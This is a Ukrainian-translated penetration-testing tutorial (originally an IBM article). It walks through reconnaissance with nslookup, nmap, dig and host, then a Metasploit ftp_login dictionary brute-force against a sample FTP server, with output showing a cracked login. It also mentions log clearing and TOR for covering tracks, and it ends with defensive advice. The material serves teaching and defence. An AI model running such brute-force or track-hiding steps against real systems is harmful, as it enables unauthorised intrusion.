• Главная
  • Карта сайта
Не найдено

Безпека системи і практичне тестування на проникнення

  1. Світла і темна сторона хакерства
  2. Тенденції сучасного хакерства і захисту даних
  3. Узагальнений процес злому
  4. Малюнок 1. Узагальнений процес злому
  5. зондування
  6. проникнення
  7. маскування
  8. Простий приклад злому
  9. Лістинг 1. Визначення IP-адреси цілі
  10. Лістинг 2. Налаштування сканера ftp_login
  11. Лістинг 3. Виконання атаки шляхом повного перебору за допомогою Metasploit
  12. професійні інструменти
  13. Інструменти розвідки
  14. Лістинг 4. Використання команд whois і host для визначення мети
  15. Інструменти зондування
  16. Лістинг 5. Зондування сервера на наявність відкритих портів
  17. Інструменти проникнення
  18. Інструменти маскування
  19. як захиститися
  20. рухаючись далі
  21. Ресурси для скачування

Неможливо не звернути уваги на постійний потік новин про шкідливі програми і новітніх дірках в системі безпеки. Наявність діри в популярному додатку означає злом безлічі сайтів, які використовують цю програму. Ось чому дуже важливо, щоб в додатку були встановлені всі новітні виправлення. Я почну з розгляду деяких тенденцій сучасного хакерства, грунтуючись на узагальненому розгляді підходів зловмисників до пошуку і використання вразливостей. Потім я розгляну деякі інструменти, використовувані на кожній стадії атаки, а також відповідні методи і інструменти захисту.

Світла і темна сторона хакерства

Спроба отримати доступ до системи, щоб завдати шкоди, - це, очевидно, поганий вчинок, за який можна втратити свободу. Але іноді мова йде не про нанесення шкоди, а про спробу домогтися того, чого не можуть інші. Т.зв. етичний злом - це атака на систему в інтересах її власника для виявлення вразливостей, які можуть стати причиною зловживань.

Тенденції сучасного хакерства і захисту даних

У певному сенсі злом сьогодні став автоматизованим процесом. Стають все більш популярними комплекси інструментів для злому, що включають в себе мережеву розвідку, процес зондування і каталог вразливостей, проіндексованих по додатках і версіями. Такі інструменти надають початківцям хакерам доступ до складних експлойтів, що дозволяє виконувати витончені атаки.

Однією з найпопулярніших інфраструктур для дослідження вразливостей в системах є Metasploit. Ця інфраструктура містить засоби мережевий розвідки і зондування цілі (для визначення операційної системи і відкритих портів мети), а також бібліотеку доступних експлойтів, які можна використовувати для отримання доступу до системи. Metasploit добре розширюється за допомогою визначених користувачем модулів для нових форм поведінки. Розглянемо в загальному вигляді процес, який хакери використовують для експлуатації помилок в системі.

Узагальнений процес злому

Процес злому - це план у розвитку. Він починається з визначення мети і завдяки наявності точок контакту в цієї мети призводить до отримання параметрів, які потім використовуються для отримання доступу до системи. Я зроблю загальний огляд дій з отримання доступу до мережевої системі, а потім продемонструю деякі кроки, використовуючи легкодоступні інструменти з відкритим вихідним кодом (на малюнку 1 наведено графічне представлення цього процесу).

Малюнок 1. Узагальнений процес злому
Неможливо не звернути уваги на постійний потік новин про шкідливі програми і новітніх дірках в системі безпеки

розвідка

Першим кроком в процесі є визначення мети. Іноді це може бути послідовність цілей, оскільки вихідна мета може бути доступна тільки через якусь іншу мету (опорну точку). У більшості випадків мета визначається як уніфікований ідентифікатор ресурсів або IP-адреса активу, що має вихід в Інтернет. Отримавши IP-адреса (або список адрес), можна почати процес зондування для виявлення незахищених точок контакту.

зондування

Зондування цілі - це виявлення точок контакту, які можна використовувати для проникнення. Як правило, цими точками є мережеві порти, через які додатки надають послуги. Наступним кроком після визначення портів є їх класифікація залежно від того, що працює за ними. Розглянемо Web-сервер, що працює на цільовій машині. Web-контент зазвичай передається через порт 80 з використанням протоколу TCP. Зондування цього порту дозволяє отримати важливу інформацію про програму та операційній системі сервера, використовуючи легкодоступні дані про версії.

проникнення

Маючи на меті і список точок контакту, можна приступати до використання їх для проникнення. Можна застосувати Metasploit, вибравши з його каталогу потрібний експлойт. З іншого боку, можна використовувати фаззери (fuzzer) для пошуку помилок (потенційних вразливостей) або інструменти для створення перебоїв в наданні послуг (наприклад, для DoS-атак). Можна також використовувати більш спеціалізовані інструменти, призначені, наприклад, для впровадження (за допомогою інтерфейсних Web-серверів) SQL-команд, які виконуються серверної базою даних. Хоча ці види атак широко відомі, вони використовуються і сьогодні.

Після проникнення систему можна використовувати не тільки для крадіжки інформації: тепер вона може стати стартовим майданчиком для іншої незаконної діяльності. Хакер може проникнути далі в мережу, отримати доступ до додаткової інформації або перетворити машину в "зомбі". Машини-зомбі можна використовувати (групами) для розподілених DoS-атак (DDoS) на інші цілі або для виконання звичайних завдань, таких як розсилка спаму по електронній пошті або розподілене шахрайство з переходами по посиланнях (click fraud).

маскування

Приховування особистості атакуючого - це, мабуть, найважливіший аспект даного процесу. Щоб ускладнити відстеження джерела атаки, використовуються анонімізуючих інструменти, подібні The Onion Router (TOR), або віртуальні приватні мережі. Ще одним способом приховати свої дії на цільовій машині є очищення журналів. На заключному етапі потрібно, наскільки це можливо, приховати свої сліди або шляхом маскування свого долі в атаці (VPN, випадкова точка бездротового доступу), або шляхом приховування слідів свого перебування в системі після виконання необхідних дій.

Розглянемо деякі етапи описаного узагальненого процесу, використовуючи інструменти з відкритим вихідним кодом.

Простий приклад злому

Розглянемо простий приклад атаки шляхом повного перебору (метод "грубої сили"). Служба FTP - це стандартна крайова точка, яку можна опитати на хості. Як правило, вона захищена за допомогою облікових даних, але через поспіх або благодушності користувачів їх імена і паролі іноді можна визначити шляхом повного перебору.

Почнемо з розвідки. Мета - сервер ftp.example.com, IP-адреса якого легко визначається за допомогою nslookup. Команда nslookup дозволяє опитати DNS-сервери для визначення IP-адреси даного домену (див. Лістинг 1) і швидко перевірити, чи працює там FTP-сервер.

Лістинг 1. Визначення IP-адреси цілі

$ Nslookup ftp.example.com Server: 192.168.1.1 Address: 192.168.1.1 # 53 Non-authoritative answer: Name: ftp.example.com Address: 192.168.1.160 $ ​​nmap -F -T4 ftp.example.com Starting Nmap 5.51 (http://nmap.org) at 2013-09-02 14:30 MDT Nmap scan report for 192.168.1.160 (192.168.1.160) Host is up (0.081s latency). rDNS record for 192.168.1.160 Not shown: 90 filtered ports PORT STATE SERVICE 21 / tcp open ftp 25 / tcp open smtp 80 / tcp open http 110 / tcp open pop3 143 / tcp open imap 443 / tcp open https 465 / tcp open smtps 587 / tcp open submission 993 / tcp open imaps 995 / tcp open pop3s Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds $ $ ftp ftp.example.com Connected to 192.168.1.160. 220- 220 Domain FTP Server ready Name (192.168.1.160:root): ^ C $

Інфраструктура Metasploit надає кілька корисних експлойтів, одним з яких є атака на хост або діапазон хостів шляхом повного перебору. Можна вказати ім'я користувача і пароль або файл, який містить імена користувачів і паролі. Розглянемо цей модуль в інфраструктурі Metasploit.

Запустіть консоль Metasploit і використовуйте модуль ftp_login scanner:

$ Msfconsole msf> use auxiliary / scanner / ftp / ftp_login msf auxiliary (ftp_login)>

Сканера потрібно вказати атакується хост і два файли з іменами користувачів і паролями (по одному в рядку). Ця установка показана в лістингу 2.

Лістинг 2. Налаштування сканера ftp_login

msf auxiliary (ftp_login)> set user_file /root/unix_users.txt user_file => /root/unix_users.txt msf auxiliary (ftp_login)> set pass_file /root/unix_passwords.txt pass_file => /root/unix_passwords.txt msf auxiliary (ftp_login )> set rhosts 192.168.1.160 rhost => 192.168.1.160 msf auxiliary (ftp_login)>

Коли модуль готовий, введіть команду run для виконання атаки на хост шляхом повного перебору (див. Лістинг 3). Ця атака просто намагається виконати вхід на вказаний FTP-сервер за допомогою зазначених імен користувачів і паролів. (Для стислості результат показаний не повністю.)

Лістинг 3. Виконання атаки шляхом повного перебору за допомогою Metasploit

msf auxiliary (ftp_login)> run [*] 192.168.1.160:21 - Starting FTP login sweep [*] Connecting to FTP server 192.168.1.160:21 ... [*] Connected to target FTP server. [*] 192.168.1.160:21 - FTP Banner: '220 \ x0d \ x0a220 Domain FTP Server ready \ x0d \ x0a' [*] 192.168.1.160:21 FTP - [001/191] - Attempting FTP login for '' : '' [-] 192.168.1.160:21 FTP - [001/191] - The server rejected username: '' [*] 192.168.1.160:21 FTP - [002/191] - Attempting FTP login for '4Dgifts': '' [*] 192.168.1.160:21 FTP - [002/191] - Failed FTP login for '4Dgifts': '' [*] 192.168.1.160:21 FTP - [003/191] - Attempting FTP login for 'EZsetup ':' '[*] 192.168.1.160:21 FTP - [003/191] - Failed FTP login for' EZsetup ':' '[*] 192.168.1.160:21 FTP - [004/191] - Attempting FTP login for 'OutOfBox': '' [*] 192.168.1.160:21 FTP - [004/191] - Failed FTP login for 'OutOfBox': '' [*] 192.168.1.160:21 FTP - [005/191] - Attempting FTP login for 'ROOT': '' [-] 192.168.1.160:21 FTP - [005/191] - Caught EOFError, reconnecting and retrying ... [*] Connecting to FTP server 192.168.1.160:21 ... [* ] Connected to target FTP server. [*] 192.168.1.160:21 FTP - [32/62] - Failed FTP login for 'ROOT': 'jackass' [*] 192.168.1.160:21 FTP - [33/62] - Attempting FTP login for 'nobody2' : '123456' [*] 192.168.1.160:21 FTP - [33/62] - Failed FTP login for 'nobody2': '123456' [*] 192.168.1.160:21 FTP - [34/62] - Attempting FTP login for 'nobody2': 'badone% 2' [+] 192.168.1.160:21 - Successful FTP login for 'nobody2': 'badone% 2' [*] 192.168.1.160:21 - User 'nobody2' has READ / WRITE access [*] 192.168.1.160:21 FTP - [35/62] - Attempting FTP login for 'adm': '123456' ... [*] Connecting to FTP server 192.168.1.160:21 ... [*] Connected to target FTP server. [*] 192.168.1.160:21 FTP - [53/62] - Failed FTP login for 'www': 'inuyasha' [*] 192.168.1.160:21 FTP - [54/62] - Attempting FTP login for 'www' : 'jackass' [*] 192.168.1.160:21 FTP - [54/62] - Failed FTP login for 'www': 'jackass' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary (ftp_login)>

У лістингу 3 показано, що Metasploit виконав спроби входу на цільової хост з усіма іменами користувачів і паролями, зазначеними в списку. В середині лістингу показана успішна спроба для користувача nobody2, що має права доступу Read / Write. Тепер хакер може використовувати комбінацію ім'я-пароль для входу в систему. Якщо доступ буде дозволений, хакер може виконати подальше сканування на наявність вразливостей, щоб розширити повноваження.

Цей приклад ілюструє одну з найпростіших хакерських атак, що використовують Metasploit. Можна застосувати більш складні експлойти, такі як переповнення буфера для широкого спектру додатків і операційних систем. Результатом виконання в Metasploit команди search exploits буде великий список експлойтів і цілей (починаючи з FTP- і HTTP-серверів і закінчуючи управлінням в супервизорного режимі і системами збору даних). Тепер розглянемо способи захисту від описаного процесу злому.

професійні інструменти

У попередньому прикладі ми розглянули два інструменти, які добре відомі фахівцям зі злому і тестування на проникнення. Тепер розглянемо способи підвищення безпеки додатків, що мають вихід в Web. Інструменти, призначені для нанесення шкоди, можна використовувати для виявлення вразливостей до того, як вони будуть використані.

Інструменти розвідки

Web - це багата суміш даних і метаданих. Існує безліч сервісів для визначення цілей на підставі наявної інформації. У попередньому прикладі URL був просто перетворений в IP-адресу за допомогою команди nslookup. Зворотний DNS-запит перетворює IP-адреса в доменне ім'я, яке може бути корисно, якщо необхідно простежити адреса назад до логічного об'єкту. Зворотний DNS-запит виконується за допомогою команди host. Нарешті, щоб запросити DNS-імена серверів в даному домені, використовується інструмент під назвою DNS Information Groper (DIG).

Додаткову інформацію про домен можна отримати за допомогою команди whois. Ця команда корисна для отримання більш докладної інформації про домен або його IP-адресу. У лістингу 4 наведено приклад сценарію. Припустимо, ви шукаєте сервер якоїсь компанії, яка знаходиться в Атланті, штат Джорджія. Щоб визначити IP-адреси, пов'язані з доменом цієї компанії, потрібно виконати команду dig. Отримавши список адрес, потрібно виконувати зворотний DNS-запит для визначення імен хостів, пов'язаних з цими адресами, поки мета не буде знайдена.

Лістинг 4. Використання команд whois і host для визначення мети

$ Dig example.com; <> DiG 9.7.0-P1 <> example.com ;; global options: + cmd ;; Got answer: ;; -> HEADER <opcode: QUERY, status: NOERROR, id: 50611 ;; flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION:; example.com. IN A ;; ANSWER SECTION: example.com. 295 IN A 10.200.225.10 example.com. 295 IN A 10.215.241.18 example.com. 295 IN A 10.239.60.238 example.com. 295 IN A 10.191.124.145 ;; Query time: 21 msec ;; SERVER: 192.168.1.1 # 53 (192.168.1.1) ;; WHEN: Mon Sep 2 15:47:44 2013 ;; MSG SIZE rcvd: 120 $ host 10.200.225.10 10.225.201.10.in-addr.arpa domain name pointer exampleb4.houston.example.com. $ Host 10.215.241.18 18.241.216.10.in-addr.arpa domain name pointer exampleb1.austin.example.com. $ Host 10.239.60.238 238.60.240.10.in-addr.arpa domain name pointer exampleb9.houston.example.com. $ Host 10.191.124.145 145.124.192.10.in-addr.arpa domain name pointer exampleb5.atlanta.example.com. $

Додаткову інформацію можна отримати за допомогою таких інструментів, як traceroute, який визначає маршрути між вами і метою. Інструмент traceroute дозволяє зібрати додаткову географічну інформацію, хоча проксі можуть приховати справжнє місце розташування сервера.

Інструменти зондування

Визначивши мету, потрібно знайти відкриті порти. Утиліта nmap надає широкий спектр можливостей для дослідження мети (як було показано в наведеному вище прикладі). Продовжуючи попередній приклад, можна використовувати nmap для визначення відкритих портів. У лістингу 5 показаний результат зондування цільового сайту, що містить доступні порти, які відкриті на цьому сайті.

Лістинг 5. Зондування сервера на наявність відкритих портів

$ Nmap 10.192.124.145 Starting Nmap 5.51 (http://nmap.org) at 2013-09-02 16:20 MDT Nmap scan report for exampleb5.atlanta.example.com (10.192.124.145) Host is up (0.017s latency ). Not shown: 997 filtered ports PORT STATE SERVICE 21 / tcp open ftp 80 / tcp open http 443 / tcp open https Nmap done: 1 IP address (1 host up) scanned in 5.94 seconds $

Хоча nmap є універсальним інструментом для зондування цілі, можна також використовувати і інші інструменти. Утиліта McAfee SuperScan ідеально підходить для Windows®-цілей, оскільки надає специфічну інформацію (наприклад, дані NetBIOS). Також може бути корисний генератор пакетів hping3, хоча деякі його новаторські функції вже вбудовані в nmap.

Інструменти проникнення

Після визначення мети і портів хакер повинен вибрати експлойти для використання. Metasploit пропонує велику кількість експлойтів для різних пристроїв, додатків і версій. Крім розробки шкідливих програм нульового дня (zero day) і виявлення потенційних вразливостей переповнення буфера хакери намагаються отримати контроль над додатком, використовуючи відомі дефекти.

На додаток до Metasploit хакери використовують кілька інших інструментів, в тому числі відкритий проект Open Web Application Security Project (OWASP) WebScarab для фаззінга (fuzz testing), а також sqlmap і sqlninja для впровадження SQL-команд і заміни бази даних. Ще одним інструментом спільноти хакерів є Low Orbit Ion Cannon (LOIC), який використовується для DoS-атак (або DDoS-атак розподіленими користувачами). LOIC також можна використовувати для стресового тестування цільового вузла або мережі, тому він має і позитивне застосування.

Інструменти маскування

Після злому пристрою хакери намагаються по можливості приховати сліди свого перебування. У більшості випадків це означає очищення журналів, щоб приховати виконані дії. Іноді це завдання можна спростити за допомогою автоматизації. Інфраструктура Metasploit спрощує очищення журналу за допомогою простих сценаріїв для одиночних хостів.

як захиститися

Інструменти розвідки призначені для вибору мети. У більшості випадків ваші Web-активи добре відомі, і системи DNS надають про них найрізноманітнішу інформацію. Деякі провайдери DNS до певної міри приховують вашу особисту інформацію (як правило, за додаткову плату). Створення загальнодоступного Web-активу означає, що він також стає видно тим, хто може заподіяти їй шкоду, але є ряд заходів, що дозволяють зменшити незахищену область. За допомогою простого розвідувального тестування можна визначити, що не захищене ззовні. Чи всі порти потрібні, або їх число можна зменшити, залишивши тільки ті, які необхідні для конкретного сервера?

Нагадаємо, що в прикладі мети в лістингу 5 було відкрито обмежене число портів. Це відмінний приклад обмеження числа відкритих портів в залежності від призначення сайту (в даному випадку це були інтерфейсні Web- і FTP-сервіси).

Для відкритих портів необхідно обмежити надану інформацію. Нагадаємо, що хакери визначають можливість використання наявного експлойта за додатком (визначається по порту) і номеру версії (якщо такий є). Маскування сама по собі не є стратегією безпеки, однак ускладнює роботу хакера.

Нагадаємо, що в раніше розглянутому прикладі повного перебору на FTP-сервері справжні облікові дані вдалося визначити за допомогою простої атаки по словнику. Подібні атаки з масовою відправкою запитів можна мінімізувати шляхом тимчасового блокування IP-адрес. Такі адреси можна легко знайти в лог-файлах, а блокування адреси на короткий час обмежує можливість атак з використанням методів повного перебору. Щоб запобігти атаки по словнику, необхідна також продумана стратегія використання паролів.

Ключовим елементом захисту є забезпечення оперативного усунення дірок і правильна настройка ПО. Постійне оновлення ПЗ, а також статичну і динамічну тестування в процесі розробки допоможуть звести до мінімуму наявні уразливості. Використання тестування на проникнення в циклі розробки продукту сприяє мінімізації області атак.

Також корисна стратегія періодичного тестування. Одним із прикладів є ПО IBM® Security AppScan® Standard, призначене для автоматизованого сканування мережі з метою виявлення вразливостей, зареєстрованих в постійно розширюється базі відомих експлойтів. Це гарантує, що безпека мережі з часом не знизиться.

Нарешті, сучасні системи протоколювання ускладнюють відалення подій и очищення журналу хакерами. Простим і ефективним підходом є централізоване журнал, а використання віддаленого журналювання за допомогою Secure Shell ще більше ускладнює просте очищення журналів з метою видалення слідів. Одним з можливих варіантів розв'язання проблеми є Syslog-NG.

рухаючись далі

У даній статті описані основні дії хакерів по виявленню і використанню вразливостей додатків, що мають вихід в Web. Було показано, що багато інструментів, які використовуються спільнотою хакерів, можна використовувати як засіб тестування програми, що має вихід в Web. Тестування на проникнення, що представляє собою розвивається область технологій, дозволяє виконувати пошук і усунення прогалин в системах безпеки додатків. Багато компаній (наприклад, Facebook) пропонують невелику винагороду за повідомлення про невідомих раніше експлойтів своєї інфраструктури. Це говорить про те, що навіть найбільшим компаніям потрібна допомога в усуненні прогалин в системах безпеки додатків.

Ресурси для скачування

Схожі тими

  • Оригінал статті: System security and practical penetration testing (EN).
  • Тестування на проникнення стало новою роллю етичного хакера. Такого фахівця наймають, щоб перевірити (в міру його можливостей) сайт або додаток на максимальну безпеку. Деякі сумніваються в існуванні етичних хакерів. Стаття Forbes Розвінчання міфу про "етичному хакера" є цікавим аргументом в цій суперечці (EN).
  • Facebook пропонує винагороду за виявлення і відповідальне висвітлення загроз безпеки. Додаткову інформацію можна отримати на сайті програми "Білий хакер" .
  • Число вразливостей програми, що має вихід в Web, можна звести до мінімуму в рамках життєвого циклу розробки ПЗ. Цим підходам присвячено окрему статтю Статичне і динамічне тестування в життєвому циклі розробки ПЗ (DeveloperWorks, серпень 2013).
  • TOR являє собою розподілену мережу для анонімізації інтернет-трафіку між користувачами і сайтами. TOR складається з більш ніж 3000 серверів, розташованих по всьому світу, через які призначений для користувача трафік випадковим чином розподіляється на підмножина доступних TOR-серверів. Використання шифрування на різних етапах процесу маршрутизації сильно ускладнює ідентифікацію користувача в вихідному вузлі TOR. Хоча мережа TOR була створена в ім'я свободи, вона також використовується і зшлоумиленнікамі.
  • інфраструктура Metasploit надає базу даних відомих експлойтів і можливість створювати нові експлойти. Щоб познайомитися з найостаннішими уразливими, зверніться до Інтернет-базі даних Vulnerability and Exploit Database .
  • У даній статті згадуються такі інструменти з відкритим вихідним кодом, що використовуються як "чорними", так і "білими" хакерами:
  • IBM Security AppScan Standard - це професійний сканер уразливості додатків, який забезпечує не тільки найсучасніші можливості автоматизованого сканування, але і дуже точні результати. У великих середовищах AppScan Standard дозволяє визначити пріоритети виправлень в залежності від знайдених вразливостей. Він прозоро інтегрується з іншими продуктами портфеля продуктів забезпечення безпеки IBM.

Підпішіть мене на ПОВІДОМЛЕННЯ до коментарів

Чи всі порти потрібні, або їх число можна зменшити, залишивши тільки ті, які необхідні для конкретного сервера?
Провайдеры:
  • 08.09.2015

    Batyevka.NET предоставляет услуги доступа к сети Интернет на территории Соломенского района г. Киева.Наша миссия —... 
    Читать полностью

  • 08.09.2015
    IPNET

    Компания IPNET — это крупнейший оператор и технологический лидер на рынке телекоммуникаций Киева. Мы предоставляем... 
    Читать полностью

  • 08.09.2015
    Boryspil.Net

    Интернет-провайдер «Boryspil.net» начал свою работу в 2008 году и на данный момент является одним из крупнейших поставщиков... 
    Читать полностью

  • 08.09.2015
    4OKNET

    Наша компания работает в сфере телекоммуникационных услуг, а именно — предоставлении доступа в сеть интернет.Уже... 
    Читать полностью

  • 08.09.2015
    Телегруп

    ДП «Телегруп-Украина» – IT-компания с 15-летним опытом работы на рынке телекоммуникационных услуг, а также официальный... 
    Читать полностью

  • 08.09.2015
    Софтлинк

    Высокая скоростьМы являемся участником Украинского центра обмена трафиком (UA — IX) с включением 10 Гбит / сек... 
    Читать полностью